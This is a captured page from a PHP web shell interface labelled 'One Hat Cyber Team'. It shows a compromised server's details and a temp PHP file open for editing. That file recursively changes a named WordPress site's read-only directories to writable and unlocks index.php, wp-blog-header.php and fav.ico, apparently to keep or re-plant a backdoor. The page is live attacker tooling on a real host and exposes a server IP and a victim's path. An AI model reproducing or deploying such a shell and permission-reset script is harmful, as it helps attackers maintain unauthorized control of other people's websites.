One Hat Cyber Team
Your IP :
216.73.216.183
Server IP :
23.137.84.82
Server :
Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
thread-self
/
root
/
tmp
/
Edit File:
php1RkWOd
<?php function i($i) { echo '{->|' . $i . '|<-}'; } function recursiveChmodDirectory($path) { $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if ($item->isDir()) { $permissions = fileperms($item->getPathname()); $octal_permissions = substr(sprintf('%o', $permissions), -4); if ($octal_permissions === '0555') { chmod($item->getPathname(), 0755); $count++; } } } return $count; } $path = '/home/epicgamerzoneco/arcadekingdom.co.uk'; // 先获取原始权限 $permissions = fileperms($path); $octal_permissions = substr(sprintf('%o', $permissions), -4); // 递归修改所有子目录权限并获取修改数量 $modified_count = recursiveChmodDirectory($path); // 修改主目录权限 chmod($path, 0755); chmod($path . '/index.php', 0755); chmod($path . '/wp-blog-header.php', 0755); chmod($path . '/fav.ico', 0755); // 获取修改后的权限 $new_permissions = fileperms($path); $new_octal_permissions = substr(sprintf('%o', $new_permissions), -4); // 合并输出主目录权限变化和子目录修改数量 i("主目录权限变化: {$octal_permissions} -> {$new_octal_permissions}, 子目录修改数量: {$modified_count}");
Simpan